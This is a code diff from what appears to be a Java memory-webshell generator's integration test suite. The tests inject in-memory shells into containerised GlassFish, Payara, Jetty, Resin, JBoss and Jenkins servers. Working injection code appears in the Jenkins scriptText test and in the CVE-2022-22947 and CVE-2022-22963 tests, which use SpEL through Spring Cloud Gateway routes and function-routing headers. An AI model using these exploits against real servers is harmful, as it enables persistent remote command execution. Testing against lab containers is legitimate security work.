injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
@@ -429,7 +430,7 @@ public class ShellAssertion {
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
@@ -444,9 +445,11 @@ public class ShellAssertion {
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -6,6 +6,7 @@ import okhttp3.*;
import org.junit.jupiter.api.Assertions;
import java.io.IOException;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertEquals;
@@ -78,6 +79,23 @@ public class VulTool {
}
}
@SneakyThrows
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
OkHttpClient client = new OkHttpClient();
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
Request request = new Request.Builder()
.url(url)
.post(body)
.addHeader("Connection", "close")
.build();
log.info("sending hessian2 xxl-rpc request to: {}", url);
try (Response response = client.newCall(request).execute()) {
log.info("xxl-rpc hessian2 response code: {}", response.code());
Thread.sleep(1000);
}
}
@SneakyThrows
public static void xxlJobExecutor(String url, String data) {
OkHttpClient client = new OkHttpClient();
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:7.1.1-jdk21",
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class GlassFish8ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"reajason/glassfish:8.0.3-jdk21",
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -22,6 +23,7 @@ public class Jboss510ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
"reajason/jboss:5-jdk6",
"/usr/local/jboss/server/web/deploy/app.war")
.warFile(ContainerTool.servlet2WarFile)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.FILTER,
@@ -0,0 +1,175 @@
package com.reajason.javaweb.integration.memshell.jenkins;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.lang3.tuple.Pair;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.utility.MountableFile;
import java.nio.file.Path;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class JenkinsJetty2575JDK21ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("jenkins/jenkins:2.575-jdk21")
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
.server(Server.Jetty)
.jakarta(true)
.serverVersion("12")
.targetJdkVersion(Opcodes.V17)
.contextPath("")
.healthCheckPath("/login")
.assertLogs(false)
.waitStrategy(Wait.forHttp("/login").forPort(8080))
.supportedShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.probeShellTypes(List.of(
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_HANDLER
))
.testPackers(List.of(Packers.Groovy))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.enableJspPackerTest(false)
.build();
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
Path.of("script", "disable-security.groovy").toAbsolutePath());
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
@Override
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
String url = getUrl();
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectByScriptText(url, payload);
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
}
@Override
protected void runProbeInject(ContainerTestConfig config, String shellType) {
String url = getUrl();
String shellTool = ShellTool.Command;
Packers packer = Packers.Groovy;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
String urlPattern = urls.getRight();
if (urlPattern != null) {
shellUrl += "testProbe";
urlPattern += "testProbe";
}
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
? config.getTargetJdkVersion()
: config.getProbeTargetJdkVersion();
ShellConfig shellConfig = ShellConfig.builder()
.server(config.getServer())
.serverVersion(config.getServerVersion())
.shellType(shellType)
.shellTool(shellTool)
.targetJreVersion(probeTargetJdkVersion)
.debug(false)
.probe(true)
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
.urlPattern(urlPattern)
.staticInitialize(true)
.build();
String paramName = "tomcatProbe" + shellType;
CommandConfig commandConfig = CommandConfig.builder()
.paramName(paramName)
.build();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
String res = injectByScriptText(url, payload);
assertThat(res, anyOf(
containsString("context: "),
containsString("server: "),
containsString("channel: "),
containsString("namespace: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
}
@SneakyThrows
private String injectByScriptText(String url, String payload) {
RequestBody requestBody = new FormBody.Builder()
.add("script", payload)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/scriptText")
.post(requestBody)
.build();
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
String body = response.body().string();
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
return body;
}
}
private boolean isScriptTextResponseOk(String body) {
String normalizedBody = body.toLowerCase(Locale.ROOT);
return !normalizedBody.contains("groovy.lang.missing")
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
&& !normalizedBody.contains("script1.groovy")
&& !normalizedBody.contains("exception");
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Testcontainers
public class Jetty51ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.
builder()
.imageName("reajason/jetty:5.1.10-jdk6")
.server(Server.Jetty5)
.pidScript(ContainerTool.jettyPid)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath("/usr/local/jetty/webapps/app.war")
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.FILTER
))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER
))
.testPackers(List.of(Packers.JSP))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202312ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2023.12",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202412ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2024.12-jdk17",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara6202511ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:6.2025.11-jdk21",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,60 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
/**
* @author ReaJason
* @since 2024/12/12
*/
@Testcontainers
public class Payara7202606ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
"payara/server-web:7.2026.6",
"/opt/payara/deployments/app.war")
.warFile(warJakartaFile)
.jakarta(true)
.targetJdkVersion(Opcodes.V11)
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
.assertLogs(false)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.JSP))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.probeShellTypes(List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE
))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,58 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2026/7/4
*/
@Testcontainers
public class Resin2117ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig
.builder()
.imageName("reajason/resin:2.1.17-jdk6")
.server(Server.Resin2)
.warFile(ContainerTool.servlet2WarFile)
.warDeployPath("/usr/local/resin2/webapps/app.war")
.pidScript(ContainerTool.resinPid)
.targetJdkVersion(Opcodes.V1_6)
.supportedShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.testPackers(List.of(Packers.JSP))
.probeShellTypes(List.of(
ShellType.SERVLET,
ShellType.FILTER
))
.enableJspPackerTest(false)
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,129 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222947Test {
@Container
public static final GenericContainer<?> cve202222947 =
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/")
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22947")
void CVE_2022_22947() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudGateway(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudGateway(String url, String expression) {
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
try {
String body = """
{
"id": "%s",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{%s}"
}
}],
"uri": "http://example.com"
}
""".formatted(routeId, expression);
post(routeUrl, body, MediaType.parse("application/json"));
post(url + "/actuator/gateway/refresh", "", null);
} finally {
deleteQuietly(routeUrl);
postQuietly(url + "/actuator/gateway/refresh");
}
}
@SneakyThrows
private static void post(String url, String body, MediaType mediaType) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create(body, mediaType))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
@SneakyThrows
private static void postQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.post(RequestBody.create("", null))
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
@SneakyThrows
private static void deleteQuietly(String url) {
Request request = new Request.Builder()
.url(url)
.delete()
.build();
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
}
}
private static String getUrl() {
String host = cve202222947.getHost();
int port = cve202222947.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,84 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.MediaType;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.time.Duration;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@Testcontainers
@Slf4j
public class CVE202222963Test {
@Container
public static final GenericContainer<?> cve202222963 =
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
.withExposedPorts(8080)
.waitingFor(Wait.forHttp("/uppercase")
.forStatusCodeMatching(code -> code == 200 || code == 405)
.withStartupTimeout(Duration.ofMinutes(3)));
@Test
@DisplayName("CVE-2022-22963")
void CVE_2022_22963() {
String url = getUrl();
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
String shellTool = ShellTool.Command;
Packers packer = Packers.SpELSpringGzip;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(
urls.getRight(),
Server.SpringWebFlux,
null,
shellType,
shellTool,
Opcodes.V1_8,
shellToolConfig,
packer);
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
injectBySpringCloudFunction(url, content);
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
}
@SneakyThrows
private void injectBySpringCloudFunction(String url, String expression) {
Request request = new Request.Builder()
.url(url + "/functionRouter")
.header("spring.cloud.function.routing-expression", expression)
.post(RequestBody.create("test", MediaType.parse("text/plain")))
.build();
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
assertNotEquals(404, response.code());
}
}
private static String getUrl() {
String host = cve202222963.getHost();
int port = cve202222963.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:21.0.11_10-jdk")
.jarFile(ContainerTool.springBoot4WebfluxJarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebFlux)
